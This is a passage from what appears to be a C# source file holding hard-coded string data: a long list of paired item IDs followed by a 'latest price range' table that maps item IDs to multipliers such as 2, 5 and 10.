9526 +1530 9511 +1531 9510 +1532 9509 +1524 9524 +1525 9524 +1526 9524 +1572 9948 +1573 9949 +1574 9950 +1575 9951 +5688 9842 +5689 9844 +5690 9843 +5691 9847 +5692 9846 +5693 9845 +5694 9851 +5695 9850 +5696 9849 +5697 9848 +5698 9853 +5699 9852 +5700 9854 +5701 9855 +5702 9857 +5703 9856 +5704 9858 +5705 9859 +5706 9860 +5707 9861 +5708 9862 +5709 9863 +5710 9851 +1576 9953 +1577 9952 +3710 11692 +3711 11693 +3712 11691 +3713 11690 +4163 7721 +4164 7723 +4165 7632 +4166 7638 +4167 7633 +2562 9347 +2563 9348 +2564 9349 +2565 9350 +2566 9353 +2567 9352 +2568 9351 +2569 9354 +2570 9355 +2571 9357 +2572 9356 +2573 9358 +2574 9359 +2575 9361 +2576 9360 +1514 9528 +1515 9513 +1516 9533 +1517 9529 +1518 9534 +1519 9536 +1520 9537 +1521 9538 +1522 9539 +1523 9540 +5393 9532 +1578 9954 +1579 9955 +1580 9956 +1581 9957 +1582 9958 +1583 9959 +1584 9960 +1585 9961 +1586 9962 +1587 13175 +1588 9963 +1589 9964 +1590 9965 +1591 9966 +1592 9967 +1593 9968 +1594 9969 +1595 9970 +1596 9972 +1597 9973 +1598 9974 +1599 9975 +1600 9977 +1601 9978 +1602 9979 +1603 9980 +1604 9981 +1605 9982 +1606 9984 +1607 9985 +4177 11977 +4178 11977 +4179 11977 +4180 11977 +4181 11971 +4182 11971 +4183 11984 +4184 11982 +4185 11974 +4186 11979 +4187 11981 +4188 11983 +4189 11976 +4190 11973 +4191 11972 +4192 11980 +4588 11975 +4193 11985 +4194 11985 +4195 11992 +4196 11991 +4197 11988 +4198 11993 +4199 11989 +4200 11987 +4202 11698 +4203 11711 +4204 11710 +4205 11709 +4206 11708 +4207 11707 +4208 11706 +4209 11704 +4210 11705 +4211 11703 +4212 11712 +4213 11702 +4214 11701 +4215 11698 +4216 11697 +4217 11696 +4218 11695 +4219 11686 +4220 11747 +4221 11686 +4222 12075 +4223 12073 +4224 12762 +2505 9362 +2506 9363 +2507 9364 +2508 9365 +2509 9366 +2510 9368 +2511 9367 +2512 9369 +2513 9370 +2514 9372 +2515 9371 +2516 9373 +2517 9375 +2518 9376 +2519 9377 +2520 9381 +2521 9380 +2522 9379 +2523 9378 +2524 9382 +2525 9383 +2526 9384 +2527 9385 +2528 9386 +2529 9387 +2530 9388 +2548 9868 +2550 9415 +2552 14650 +2554 9416 +2555 14651 +2556 9417 +2557 9419 +2559 9387 +2560 9421 +2561 9318 +1018 12120 +4137 11726 +4240 11733 +4241 11742 +4242 11718 +1608 9988 +1609 9988 +1614 13167 +1615 13165 +1616 13168 +1617 13167 +1618 13170 +1619 13166 +1620 13168 +4169 12169 +4170 12161 +4171 12157 +4233 11727 +4234 12165 +4225 11737 +4226 11732 +4227 12313 +4228 11728 +4229 11723 +4230 11722 +4231 11713 +4232 11717 +4244 12434 +4245 12390 +4246 12306 +4247 12268 +4248 12231 +4249 12238 +4250 12174 +4251 12135 +4252 12146 +4253 12096 +4254 12101 +4255 12086 +4256 11719 +4644 12173 +1882 9990 +1883 9991 +1884 9992 +4139 12078 +4140 12077 +4141 12072 +4238 11738 +4239 11694 +1551 9543 +1508 9545 +1509 9545 +1510 9545 +4048 9527 +2531 9465 +2532 9466 +2533 9467 +2534 9468 +2535 9469 +4590 9909 +4591 9911 +4592 9914 +4593 9917 +4594 9913 +4595 9919 +4596 9916 +4597 9923 +4598 9924 +4599 9921 +4600 9920 +4601 9907 +4602 9922 +4603 9912 +4604 9915 +4605 9910 +4606 9918 +4885 9908 +1550 9544 +5387 9544 +5388 9544 +5389 9544 +5390 9544 +5391 9544 +5392 9544 +2487 9470 +2488 10309 +2489 9471 +2490 9473 +2491 9475 +2492 9474 +2493 9476 +2494 10318 +2495 10319 +2496 10318 +2497 10307 +2498 9478 +2499 9479 +2500 10405 +2501 10321 +2502 10324 +2503 9483 +2504 9482 +5331 9481 +1534 9541 +1535 9541 +1537 9541 +1538 9541 +1539 9541 +4563 9541 +4144 12329 +4145 12325 +4146 12318 +4147 12323 +4148 12331 +4149 12328 +4150 12332 +4151 12327 +4152 12335 +4153 12319 +4154 12321 +4155 12336 +4156 12320 +4157 12324 +4158 12333 +4159 12334 +4160 12330 +4161 12337 +4162 12619 +4235 11739 +4236 11736 +4237 11734 +2898 11744 +2899 11746 +2900 11745 +2902 11748 +2903 11749 +2904 11750 +2905 11751 +2906 11755 +2907 11754 +2908 11753 +2909 11752 +2910 11757 +2911 11756 +2912 11758 +2913 11759 +2914 11761 +2915 11763 +2916 11760 +2917 11767 +2918 11772 +2919 11765 +2920 11769 +2921 11970 +2922 11764 +2923 11770 +4132 11766 +4133 11752 +4134 11771 +4135 11752 +4136 11762 +4638 11753 +2848 11773 +2849 11775 +2850 11782 +2851 11776 +2852 11777 +2853 11781 +2854 11786 +2855 11780 +2856 11784 +2857 11774 +2858 11778 +2859 11783 +2860 11687 +2861 11779 +2862 11782 +3837 11978 +2883 11787 +2884 12089 +2885 11788 +2886 11789 +2887 11790 +2888 12251 +2889 12235 +2890 11791 +2891 11792 +2892 11735 +2893 11793 +2894 11794 +2895 12398 +2896 12442 +2897 12517 +1549 9546 +1548 9547 +1542 9540 +1543 9548 +1544 9548 +4564 9548 +5124 9513 +3703 11796 +3704 11800 +3705 11796 +3706 11798 +3707 11799 +3708 12588 +4142 11741 +1621 9997 +1622 9997 +1623 9998 +1624 9999 +1625 10000 +1626 10001"; + #endregion + + #region 最新的价格区间 + public static string NewPriceSpacex = @" +5479 10 +3030 2 +3046 2 +5489 8 +3109 1.5 +5490 2 +5670 5 +5671 8 +5672 5 +5240 1 +18142 5 +18141 5 +5757 8 +5855 1 +5867 1 +5952 5 +5959 3 +5961 2 +5963 3 +5965 3 +5979 1 +5982 5 +5989 5 +6006 2 +6024 1.5 +6028 2 +6034 3 +6073 1 +19111 3 +6167 5 +6169 5 +6247 2 +6248 2 +18763 1 +7886 2 +9527 5 +9551 2 +9558 10 +9559 10 +9580 10 +9581 10 +9585 8 +9586 10 +9610 8 +9611 5 +20132 5 +9614 10 +9615 10 +9619 10 +9647 5 +9662 1 +11847 2 +11850 2 +14807 3 +14808 2 +14809 2 +14810 2 +14812 5 +14813 2 +14816 3 +14817 5 +14818 5 +14822 3 +14823 3 +14824 5 +20088 3 +14860 3 +14879 5 +14880 5 +14882 2 +14883 3 +14884 3 +14885 3 +14887 2 +14888 3 +14889 2 +14912 2 +14913 2 +14914 2 +14915 2 +14916 5 +14917 2 +14918 3 +14921 1.3 +14923 5 +14926 5 +14927 3 +14928 2 +14929 3 +15003 2 +15132 8 +15133 3 +15134 8 +15136 10 +15137 10 +15138 5 +15139 5 +15141 5 +15143 3 +15144 8 +15146 8 +15147 5 +15148 5 +15149 5 +15150 5 +15151 5 +15153 8 +15154 10 +15155 3 +15160 8 +15161 10 +15172 10 +15173 10 +15174 10 +15176 8 +15177 5 +15178 8 +15179 5 +15180 3 +15181 10 +15182 8 +15183 10 +15184 10 +15185 5 +15186 3 +15187 5 +15188 5 +15195 5 +15200 10 +15219 10 +15220 10 +15221 10 +15222 10 +15223 5 +15224 2 +15225 5 +15226 5 +15227 8 +15228 5 +15229 2 +15230 8 +15231 10 +15232 8 +15245 3 +15250 5 +15251 5 +15252 5 +15255 5 +15256 5 +15270 3 +15271 10 +15272 10 +15273 5 +15274 2 +15275 2 +15276 5 +15277 5 +15278 5 +15279 5 +15280 5 +15282 3 +15283 3 +15284 5 +15285 3 +15287 3 +15288 5 +15289 5 +15290 5 +15291 5 +15325 10 +15327 3 +15328 5 +15330 5 +15332 10 +15333 5 +15335 5 +15336 3 +15337 8 +15346 5 +15347 5 +15348 3 +15349 5 +15351 10 +15352 5 +15353 10 +15355 3 +15440 2 +15441 2 +15442 2 +15443 2 +15444 2 +15445 2 +15448 2 +15449 2 +15450 2 +15451 2 +15452 2 +15454 2 +15455 2 +15457 2 +15458 2 +15460 1.3 +15462 2 +15463 2 +15464 2 +15469 2 +16562 5 +16567 5 +16992 10 +17021 5 +17040 10 +17399 3 +17402 3 +17407 5 +17500 5 +18490 3 +18491 3 +18492 5 +18493 5 +18503 3 +18504 3 +18505 3 +18535 5 +18537 3 +18538 3 +18540 3 +18541 3 +18543 3 +18546 3 +18548 3 +18552 3 +18554 3 +18569 3 +18603 5 +18604 5 +18605 8 +18606 3 +18623 3 +18624 8 +18625 5 +18626 3 +18628 3 +18629 10 +18630 5 +18632 5 +18634 8 +18636 3 +18639 3 +18640 3 +18641 3 +18644 3 +18645 3 +18646 3 +18647 5 +18648 5 +18650 3 +18652 5 +18654 3 +18655 5 +18656 5 +18657 3 +18659 5 +18660 3 +18663 5 +18665 5 +18669 5 +18670 5 +18671 5 +18673 5 +18674 3 +18675 3 +18676 3 +18677 3 +18678 3 +18679 3 +18680 5 +18681 5 +18682 3 +18683 3 +18684 3 +18685 3 +18686 3 +18687 5 +18688 3 +18689 3 +18690 3 +18691 3 +18692 3 +18693 3 +18694 3 +18695 5 +18696 5 +18697 3 +18698 3 +18699 3 +18700 3 +18701 5 +18702 3 +18703 3 +18704 3 +18705 5 +18706 3 +18709 5 +18710 5 +18712 5 +18713 3 +18714 5 +18715 3 +18716 5 +18717 5 +18718 5 +18719 5 +18720 5 +18721 3 +18722 5 +18723 5 +18724 5 +18725 5 +18726 3 +18727 5 +18729 5 +18730 3 +18731 3 +18733 5 +18736 5 +18737 3 +18739 3 +18740 5 +18741 3 +18742 3 +18743 5 +18744 3 +18746 3 +18747 3 +18748 5 +18749 5 +18751 3 +18752 5 +18753 5 +18754 10 +19307 5 +19309 5 +19311 5 +18218 5 +8344 5 +8381 2 +8388 8 +8406 5 +14670 1 +11029 1 +11297 10 +11605 1 +11638 1 +18765 1 +12862 1 +15536 3 +14893 5 +15470 2 +15471 2 +15472 2 +15473 2 +15474 2 +15475 2 +15477 1 +15478 1 +15479 1 +15480 1 +15481 2 +15482 1 +15483 1 +15484 2 +15485 1.3 +15486 1 +15487 2 +15488 1.3 +15489 2 +15490 1.3 +15491 1.3 +15492 1 +15493 1.3 +15494 1 +15495 1.3 +15496 2 +15497 2 +15498 2 +15499 2 +15501 2 +15502 2 +15503 2 +15504 2 +15505 2 +18043 3 +18044 3 +18045 3 +18046 3 +18047 3 +18048 3 +18049 3 +18527 5 +18528 5 +18529 5 +18530 8 +18531 3 +18532 3 +18533 8 +17435 8 +17436 5 +17437 5 +17438 5 +17428 5 +17429 5 +17430 10 +17431 10 +17432 10 +17433 10 +17434 10 +17439 10 +17440 10 +17441 8 +17442 8 +17443 5 +17444 10 +17445 5 +17446 10 +17448 10 +17449 8 +17450 5 +17451 5 +17447 10 +17452 5 +17453 5 +17454 10 +16904 3 +16903 2 +16905 5 +16906 2 +16907 10 +16908 3 +16915 2 +16916 2 +16909 2 +16910 2 +16911 2 +16912 2 +16913 2 +16914 2 +16918 5 +16917 5 +16919 2 +16920 3 +16921 2 +16922 3 +16923 2 +16924 5 +16926 2 +16927 3 +16928 2 +16929 3 +16930 2 +16931 5 +16932 5 +16933 5 +16934 10 +16935 2 +16936 10 +16937 2 +16938 5 +16943 5 +16945 2 +16944 5 +16946 2 +16948 5 +16949 2 +16950 5 +16952 3 +16951 5 +16953 2 +16954 5 +16955 2 +16957 5 +16958 5 +16959 2 +16960 3 +16963 5 +16964 5 +16966 5 +16967 5 +16968 2 +16969 5 +16970 2 +16971 2 +18056 5 +18057 10 +18060 8 +18061 10 +18062 2 +18063 3 +18066 10 +18064 2 +18065 3 +18067 10 +18068 3 +18069 2 +18070 2 +18071 5 +18072 5 +18073 2 +18074 5 +18075 8 +18076 10 +18077 8 +18078 8 +18079 3 +18080 3 +18081 10 +18082 3 +17691 2 +17692 5 +17693 5 +17694 8 +17695 5 +17696 5 +17697 5 +17698 5 +17699 5 +17702 5 +17703 8 +17704 8 +17705 8 +17706 5 +17708 2 +17710 3 +17713 3 +17712 8 +17714 3 +17715 2 +17716 2 +17717 5 +17718 8 +17719 2 +17720 5 +17721 2 +17722 5 +20093 10 +20094 5 +17723 5 +17725 5 +17726 5 +17727 2 +17729 3 +17730 5 +17731 10 +17732 3 +17734 5 +17735 10 +17736 5 +17737 5 +17738 10 +17740 3 +17741 3 +17745 3 +17747 5 +17749 5 +17750 5 +5920 2 +19101 3 +19102 3 +19103 3 +5915 2 +19104 3 +19105 3 +19106 3 +5916 2 +19107 3 +5908 2 +5909 10 +19109 5 +5918 2 +5913 2 +5911 2 +16159 10 +16160 10 +16161 10 +16162 10 +16163 10 +16164 5 +16165 5 +16166 5 +16167 5 +16169 10 +16168 2 +16170 5 +16171 8 +16172 5 +16173 8 +16174 5 +16176 8 +16175 8 +16177 5 +16179 5 +16180 3 +16182 5 +16183 5 +16184 10 +16185 5 +16187 10 +16188 5 +16186 5 +16189 5 +16190 8 +16191 5 +5940 5 +5923 2 +5942 2 +5954 2 +5938 5 +5932 2 +5948 2 +5949 5 +5951 3 +5950 2 +5936 5 +5946 2 +5945 2 +5944 2 +20338 10 +5925 5 +20339 10 +5930 5 +5934 3 +5928 5 +16679 5 +16680 5 +16683 5 +16685 5 +16687 5 +16678 5 +16688 5 +16689 5 +16690 5 +16691 5 +16694 5 +16693 5 +16695 5 +16696 5 +16697 8 +16698 5 +19297 5 +16700 5 +16699 5 +16701 5 +16702 5 +16704 5 +16705 5 +16728 5 +16730 5 +16732 5 +4732 8 +5504 10 +5505 10 +5508 10 +4733 10 +5507 10 +5506 10 +4731 10 +4718 2 +4723 2 +4722 2 +4724 2 +4719 2 +2627 5 +2628 5 +4673 5 +4679 5 +4670 5 +4671 5 +4667 5 +4669 5 +4678 5 +4668 5 +4682 5 +4676 5 +4680 5 +4674 5 +4689 5 +4684 5 +4672 10 +4683 5 +4675 5 +4666 5 +4681 3 +4677 5 +4688 5 +4838 5 +4834 10 +4797 3 +4809 2 +4807 3 +4803 2 +4810 2 +4796 8 +4806 2 +4812 2 +4800 2 +4795 3 +4813 3 +4811 2 +4798 2 +4802 8 +4804 8 +4808 2 +4805 2 +4799 5 +4801 2 +4827 3 +4823 2 +4815 2 +4824 2 +4820 2 +4816 2 +4817 2 +20190 10 +20191 10 +20192 10 +4818 2 +4825 2 +4819 2 +20193 10 +4826 2 +4821 2 +4851 5 +4850 3 +4848 5 +4849 3 +5494 2 +4839 3 +5496 2 +5501 2 +5497 2 +5495 2 +5500 2 +5499 2 +5498 2 +4773 3 +4772 2 +4777 2 +4760 2 +4778 2 +4768 2 +4767 2 +4769 5 +4771 2 +4759 2 +4765 2 +4762 2 +4763 2 +4756 2 +4766 2 +4764 2 +4757 2 +4779 3 +4758 2 +4776 2 +4774 2 +4755 2 +4775 2 +4761 2 +18993 5 +4828 2 +4832 2 +4829 2 +4831 2 +18994 3 +20194 10 +4830 2 +4792 2 +4788 2 +4789 2 +4793 2 +4794 2 +4791 2 +4790 2 +4833 2 +20189 5 +18997 2 +18996 2 +4748 10 +4747 10 +4735 10 +4736 10 +4750 10 +4754 10 +4752 10 +4751 10 +4745 10 +4738 10 +4739 10 +4753 8 +4737 10 +4746 10 +4749 10 +4740 10 +4743 10 +4741 10 +4742 10 +4744 10 +4781 2 +4780 2 +4716 2 +4709 2 +4713 2 +4714 2 +4715 2 +4710 3 +4711 2 +4717 3 +4712 2 +4730 5 +4725 8 +4727 10 +4729 10 +4728 10 +4726 10 +4734 2 +4841 2 +4845 2 +4844 5 +4846 10 +4843 2 +4840 3 +4842 2 +4836 3 +4690 5 +4693 5 +4700 5 +4692 5 +4691 5 +4694 5 +4698 5 +4695 5 +4697 5 +4696 5 +19001 10 +19002 8 +19003 2 +19004 5 +19005 2 +19006 5 +19007 2 +19000 5 +19008 2 +19009 2 +19010 2 +19011 2 +19012 2 +19013 2 +19014 2 +19015 2 +19016 2 +17488 5 +17489 5 +17490 5 +17491 5 +17492 5 +17493 5 +17494 10 +17495 5 +17496 5 +17497 5 +17498 5 +17499 5 +18087 5 +17501 5 +17502 5 +17503 5 +17504 5 +17506 5 +17507 5 +17508 5 +17509 5 +17522 5 +17523 5 +17526 5 +17528 5 +17532 5 +17537 5 +17538 5 +17539 5 +17540 5 +17541 5 +17542 5 +17543 5 +17544 5 +17545 5 +17546 5 +17547 8 +17548 5 +17549 5 +17550 5 +20099 10 +17475 5 +17476 5 +17477 5 +17478 10 +17479 5 +17480 5 +18494 3 +18495 3 +18496 8 +18506 8 +18508 3 +18510 8 +18512 10 +18513 10 +18514 3 +18515 3 +18516 5 +18517 5 +18519 5 +18521 5 +18520 5 +18523 2 +18524 3 +18525 3 +18522 2 +18539 3 +18542 3 +18544 3 +18545 3 +18547 3 +18549 3 +18550 3 +18551 3 +18556 3 +18558 5 +18560 3 +18562 3 +18563 3 +18565 3 +18567 5 +18571 8 +18573 3 +8524 1.1 +8525 2 +8526 1.1 +8528 1.3 +8529 1.1 +8530 2 +8531 1.1 +8532 2 +8533 1.1 +8535 1.3 +8536 1.1 +8537 2 +16197 8 +16198 5 +16199 8 +16200 8 +20144 8 +20145 10 +16201 8 +16203 5 +16204 5 +16205 10 +16206 8 +16207 10 +16208 5 +6228 5 +6233 2 +6234 2 +6229 2 +6232 2 +6230 2 +6235 2 +6236 3 +6237 2 +6238 2 +6239 2 +6240 2 +6211 3 +6217 2 +6213 2 +6212 3 +6216 3 +6214 2 +6215 3 +6265 2 +6264 2 +6268 2 +6266 2 +6269 2 +6276 2 +6272 2 +6273 10 +6271 10 +6274 3 +6222 2 +6223 5 +6226 3 +6225 2 +6224 3 +6249 2 +6250 2 +6251 3 +18973 10 +6242 2 +6243 2 +6245 2 +6244 5 +6259 2 +6260 2 +6258 5 +6261 2 +6262 2 +6219 3 +18975 5 +18980 5 +6220 3 +6278 3 +5987 5 +5994 2 +5996 3 +5993 2 +5992 3 +5991 3 +5995 5 +6010 3 +6036 3 +5957 5 +5998 2 +6008 3 +6014 5 +6002 5 +6012 3 +6030 5 +6004 3 +20108 10 +6016 3 +6044 3 +6018 10 +5985 2 +6038 2 +19113 2 +5970 5 +5969 5 +5971 5 +20287 10 +5981 2 +5978 3 +5972 5 +5980 3 +5983 8 +5974 2 +5976 1.5 +5977 5 +20106 10 +6056 5 +6058 5 +6057 5 +6059 3 +6060 5 +6072 3 +6050 1.5 +6061 2 +6047 5 +6052 5 +6051 5 +6049 2 +6054 2 +6069 5 +6070 5 +6065 2 +6067 2 +6066 8 +6055 8 +6048 8 +6068 5 +6053 5 +6046 2 +6064 3 +6063 3 +6074 2 +6062 3 +6075 2 +6042 8 +6020 5 +5967 5 +6022 2 +18239 3 +6040 5 +19115 5 +6026 2 +20281 10 +2675 5 +2676 8 +2677 10 +2674 10 +2678 8 +2680 10 +2679 5 +2681 8 +2682 5 +2683 5 +2684 10 +2685 10 +2686 8 +2687 10 +2673 5 +2695 5 +2696 3 +2697 8 +2698 3 +2699 5 +2700 5 +2701 3 +2702 5 +2703 5 +2688 2 +2689 10 +2690 10 +2691 10 +2692 8 +2693 10 +2694 8 +2704 3 +2705 5 +2707 5 +2708 5 +2709 10 +2710 10 +2711 10 +2712 10 +2713 8 +2714 5 +2715 5 +2716 5 +2717 10 +2718 10 +2720 10 +2719 8 +2721 3 +2722 10 +18984 10 +2723 10 +2724 8 +2725 10 +2726 10 +2727 10 +2728 5 +2729 10 +2730 10 +2731 10 +2732 5 +20101 10 +20102 10 +2733 10 +2734 5 +2735 5 +2736 5 +2737 5 +2738 3 +2739 5 +2740 3 +2746 10 +2747 8 +2748 3 +2749 5 +2750 8 +2751 10 +2752 10 +2755 5 +2756 3 +2753 3 +2754 5 +2757 10 +2758 5 +2759 10 +2760 8 +2761 5 +2762 8 +18985 10 +2742 8 +2743 8 +2744 10 +2745 10 +2741 3 +2763 5 +2764 10 +2765 3 +2766 5 +2768 10 +2769 3 +18986 10 +2770 5 +2771 5 +2772 5 +2773 5 +2774 8 +2775 10 +2776 5 +2777 5 +2778 5 +2779 8 +2783 3 +2780 3 +2781 5 +2782 5 +2785 8 +2786 5 +2787 8 +2788 5 +2789 5 +2790 8 +2791 5 +2792 5 +2802 5 +2793 5 +2794 2 +2795 5 +2796 8 +2797 8 +2798 5 +2799 8 +2800 3 +2801 8 +18988 10 +18989 10 +18990 5 +18992 10 +2804 5 +2805 10 +2806 5 +2807 10 +2808 10 +2809 10 +2810 10 +2811 3 +2812 8 +2813 10 +2814 5 +2816 8 +2815 10 +2817 5 +2818 5 +2819 3 +2820 5 +2821 5 +2822 5 +2823 8 +2824 5 +2825 5 +2826 3 +2827 5 +2828 10 +2831 3 +2829 5 +2832 5 +2833 10 +2834 5 +2835 10 +2836 8 +2837 5 +2838 5 +2839 3 +2840 5 +2841 2 +2842 5 +2843 10 +2844 5 +5675 5 +5676 3 +16211 5 +16212 10 +16213 10 +16214 10 +16215 8 +16216 5 +16217 10 +16218 10 +16219 10 +16221 8 +14951 2 +14952 2 +14953 2 +14949 2 +14954 2 +14955 2 +14956 2 +14957 2 +14958 2 +14959 2 +14960 2 +14961 3 +14962 2 +14950 2 +14963 2 +14965 2 +14964 2 +8551 2 +8552 8 +8553 2 +8554 5 +8555 2 +8556 2 +8557 2 +8558 2 +8559 2 +8560 2 +8561 2 +8563 2 +8564 2 +8565 2 +8566 2 +8567 2 +8568 2 +8569 2 +8570 2 +8571 2 +8580 2 +8574 5 +8572 2 +8577 2 +8575 10 +8573 2 +8579 2 +8578 2 +8576 2 +8581 2 +8582 2 +17014 5 +17015 5 +17013 10 +17016 1.3 +17017 10 +17023 5 +17019 5 +17022 10 +17020 10 +17024 5 +17025 5 +17026 10 +17051 5 +17030 5 +17027 10 +17029 5 +17031 10 +17028 5 +17033 5 +17032 5 +17034 5 +17036 5 +17035 5 +17037 5 +17039 5 +17047 10 +17041 5 +17042 5 +17043 5 +17044 5 +17046 5 +17045 5 +17049 5 +17048 5 +17050 10 +17052 5 +17059 3 +17060 5 +17062 8 +17061 5 +17063 2 +17064 2 +17057 5 +17058 5 +17055 8 +17056 5 +17053 5 +20077 2 +17067 5 +17068 5 +17069 5 +17070 5 +17072 5 +17071 5 +17065 5 +17086 3 +17087 3 +17074 3 +17073 5 +17075 2 +17077 10 +17076 3 +17079 8 +17078 5 +17080 5 +17081 5 +17082 8 +17083 8 +17084 8 +17085 2 +17089 10 +17088 10 +17090 5 +17091 5 +17094 5 +17095 5 +17093 5 +17096 10 +17097 10 +17098 3 +17099 3 +17100 3 +17101 3 +17102 3 +17103 3 +17104 3 +17118 8 +17117 8 +17105 5 +17106 1.3 +17109 5 +17113 5 +17111 10 +17110 5 +17112 10 +17108 10 +17107 5 +17116 5 +17115 5 +17114 5 +17119 5 +20188 10 +17264 5 +17265 5 +17266 5 +17267 10 +17255 5 +17262 3 +17263 2 +17256 5 +17257 3 +17258 5 +17259 2 +17260 5 +17261 2 +17268 5 +17269 10 +17270 5 +17271 8 +17272 5 +17273 3 +17274 2 +17276 8 +9501 2 +9502 3 +9503 3 +9504 5 +9505 3 +9506 2 +9507 2 +9508 3 +9509 3 +9510 3 +9511 5 +9512 3 +9513 5 +9514 1.5 +9515 8 +9516 3 +9517 3 +9518 10 +9519 8 +9520 2 +9521 2 +9522 5 +9523 3 +9524 2 +9526 5 +9528 5 +9529 5 +9530 3 +9531 3 +9532 5 +9533 5 +9534 3 +9535 3 +9536 5 +9537 5 +9538 5 +9539 5 +9540 3 +9541 3 +9542 5 +9543 5 +9544 3 +9545 3 +9546 3 +9547 3 +9548 2 +19301 5 +19302 10 +19303 10 +19304 5 +19305 2 +19306 8 +9549 10 +9550 10 +9552 5 +9553 5 +9554 5 +9555 10 +9556 5 +9557 1.5 +9560 5 +9564 10 +9565 10 +9566 10 +9567 10 +9568 3 +9569 10 +9570 10 +19551 10 +9571 10 +9572 10 +9573 10 +9574 10 +9575 10 +9576 10 +9577 10 +9578 10 +9579 10 +9562 10 +9563 10 +9582 10 +9583 5 +9584 3 +9587 8 +9589 5 +9590 10 +9591 8 +9592 5 +9593 8 +9595 5 +9598 5 +9599 3 +9600 5 +9601 3 +9596 5 +9602 3 +9603 3 +9604 3 +9606 5 +9607 3 +9608 10 +9609 10 +9612 5 +9613 3 +9620 2 +9621 2 +20297 10 +9616 5 +9617 2 +9618 5 +9622 10 +9624 3 +9625 2 +9626 3 +9627 5 +9628 2 +9629 10 +9630 5 +9631 2 +9632 10 +9633 3 +9634 5 +9636 5 +9637 3 +9638 3 +9635 5 +9639 10 +19552 10 +9644 5 +9646 5 +9648 5 +9649 5 +9650 5 +9651 5 +9653 10 +9655 10 +9656 5 +9654 10 +9657 2 +9658 10 +9659 1.5 +9660 10 +9661 10 +9663 10 +9664 10 +9665 5 +9666 8 +9667 10 +9668 10 +18761 1 +9670 10 +9671 8 +9672 1 +9673 5 +9674 8 +9675 5 +20133 10 +9676 10 +9677 10 +9678 3 +9679 10 +9680 10 +9681 10 +9682 10 +9683 10 +9684 8 +9724 10 +9725 8 +9721 10 +9722 10 +9727 10 +9723 10 +9685 10 +19554 10 +19555 5 +19556 5 +19557 10 +19558 10 +19559 10 +19564 10 +9695 10 +9696 5 +9697 10 +9698 5 +9699 2 +9700 8 +9705 10 +9706 10 +9707 10 +9708 10 +9709 10 +9710 10 +9711 8 +9712 10 +9713 5 +9714 5 +9715 5 +9716 5 +9717 10 +9718 10 +9719 2 +9720 5 +9728 10 +9729 10 +9730 10 +9731 1 +9732 1 +9733 10 +9734 10 +9735 2 +9736 10 +9737 5 +9738 5 +9739 8 +9740 10 +9741 3 +9742 10 +9743 10 +9744 5 +9745 3 +9746 5 +9747 10 +9748 10 +9749 10 +9750 10 +9751 10 +9752 10 +9753 10 +9754 10 +9755 8 +9758 5 +9760 3 +9761 5 +9762 5 +9763 1.5 +9764 1.2 +9766 8 +9767 8 +9768 3 +9769 3 +9770 5 +9771 3 +9772 5 +9773 5 +9774 2 +9775 5 +9776 5 +9777 5 +9778 8 +9779 5 +9780 8 +9781 10 +9782 8 +9783 8 +9784 8 +9785 8 +9786 5 +9787 5 +9788 3 +9789 2 +9790 5 +9791 5 +9792 5 +9793 8 +9794 8 +9796 5 +9797 5 +9798 2 +9799 3 +9800 1.5 +9801 8 +9802 5 +9803 3 +9804 5 +9805 2 +9806 5 +9807 5 +9808 5 +9809 5 +19139 3 +9810 5 +9811 5 +9813 5 +9812 5 +9814 5 +9815 10 +9816 5 +9817 10 +9818 10 +9819 8 +9820 8 +9822 8 +9823 10 +9821 10 +9824 10 +9825 10 +9826 10 +9827 8 +9828 10 +9829 10 +9830 10 +9831 8 +9832 8 +9833 10 +9834 8 +9835 8 +9836 8 +9837 5 +9838 5 +9839 5 +9840 5 +9841 5 +9842 10 +9843 10 +9844 8 +9845 10 +9846 10 +9847 10 +9848 5 +9849 5 +9850 5 +9852 8 +9853 5 +9854 5 +9855 5 +9856 10 +9859 10 +9861 5 +9860 10 +9862 10 +9863 5 +9865 10 +9866 10 +9868 3 +9870 5 +9871 8 +9875 3 +9876 3 +9877 10 +9878 10 +9880 3 +9881 8 +9883 2 +9884 3 +9885 10 +9886 10 +9887 2 +9888 2 +9889 3 +14653 5 +14654 3 +14655 2 +14656 1.5 +14658 1.5 +9890 10 +14660 8 +14661 5 +9893 10 +9896 8 +9895 5 +9899 3 +9900 8 +9901 10 +9898 8 +9903 1.5 +9902 8 +9904 2 +9905 2 +9906 3 +9897 10 +9908 5 +9909 10 +9910 10 +9911 8 +9914 10 +9918 10 +9927 3 +9928 3 +9929 5 +9930 10 +9931 3 +9932 10 +9933 10 +9934 10 +9935 8 +9936 8 +9938 10 +9939 10 +9940 10 +9937 10 +9941 10 +9943 10 +9944 10 +9945 5 +9946 10 +9947 10 +9948 2 +9949 3 +9950 2 +9951 2 +9952 8 +9953 10 +13175 5 +9954 5 +9955 5 +9956 8 +9957 8 +9958 10 +9959 3 +9960 8 +19540 3 +9961 5 +9962 5 +9963 10 +9964 5 +9965 5 +9966 3 +9967 5 +9968 3 +9969 3 +9970 5 +9971 5 +9972 5 +9973 5 +9974 5 +9975 5 +9976 5 +9977 3 +9978 10 +9979 5 +9980 5 +9981 10 +9982 5 +9983 3 +9984 5 +9985 5 +9986 5 +9987 5 +9988 5 +13171 1.5 +13169 3 +13165 5 +13168 8 +13167 5 +13170 5 +13166 5 +9989 10 +9990 8 +9993 10 +9994 3 +9995 10 +9996 5 +9997 2 +9998 10 +9999 10 +10000 10 +10001 5 +10002 10 +10003 10 +10004 10 +10005 10 +10006 10 +10007 10 +10008 10 +10084 10 +10086 10 +10019 8 +10038 10 +10039 10 +10020 10 +10021 10 +10022 10 +10024 10 +10023 10 +10025 10 +10026 10 +10027 10 +10029 10 +10028 10 +10030 10 +10033 10 +10031 10 +10032 10 +10034 10 +10035 10 +10036 10 +10037 10 +10040 10 +10041 10 +10043 10 +10042 10 +10018 10 +10048 10 +10049 10 +10050 10 +10051 10 +10052 10 +10053 10 +10054 10 +10056 10 +10057 10 +10058 10 +10059 10 +10060 10 +10061 10 +10062 10 +10063 10 +10064 10 +10065 10 +10066 10 +10067 10 +10068 10 +10069 10 +10070 10 +10071 10 +10072 10 +10073 10 +10074 10 +10075 10 +10076 10 +10077 10 +10078 10 +10079 10 +10080 10 +10081 10 +10083 10 +10082 10 +10091 3 +10092 10 +10095 5 +10097 10 +10098 5 +10099 3 +10100 2 +10101 5 +10103 5 +10104 5 +10102 3 +10105 10 +10106 8 +10107 10 +10108 10 +10109 5 +10110 3 +10112 10 +10113 3 +10114 10 +10115 5 +10116 5 +10111 5 +10117 3 +10122 2 +10123 5 +10124 5 +10125 5 +10126 2 +10127 10 +10128 10 +10129 2 +10130 10 +10131 5 +10132 5 +20195 8 +20196 5 +10133 10 +10134 10 +10135 10 +10136 